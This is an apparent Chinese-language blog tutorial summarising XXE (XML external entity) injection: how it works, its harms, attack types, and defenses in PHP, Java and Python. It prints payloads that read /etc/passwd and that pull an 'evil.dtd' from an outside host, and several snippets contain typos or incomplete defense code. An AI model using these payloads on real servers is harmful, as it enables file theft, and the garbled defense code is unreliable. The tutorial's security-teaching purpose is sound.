XXE漏洞总结中

XXE注入原理

        XXE(XML External Entity Injection)外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml库,而libxml2.9以前版本默认支持并开启对外部实体的引用,服务端解析用户提交的XML文件时,卫队XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持file://和ftp://等协议,导致可加载恶意外部文件和代码。

XXE注入危害

        任意文件读取

        命令执行

        内网端口扫描

        攻击内网网站

        Dos攻击等

XXE外部实体注入构造

        1,通过DTD外部实体声明

<?xml verision="1.0"?>
<DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>

        2,通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>&b;</a>

#而http://mark4z5.com/evil.dtd内容为
<!ENTITY b SYSTEM "file:///etc.passwd">

        3,通过DTD外部实体声明引入的外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>%b</a>

        支持使用的协议

        

XXE注入攻击类型

        XXE任意文件读取

        Blind XXE

        端口扫描

        远程代码执行

XXE注入防御

        1,使用开发语言提供的禁用外部实体的方法
               

PHP:

libxml_diable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParse(resolve_entities=False))

        2,过滤用户提交的XML数据中的关键词

        

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值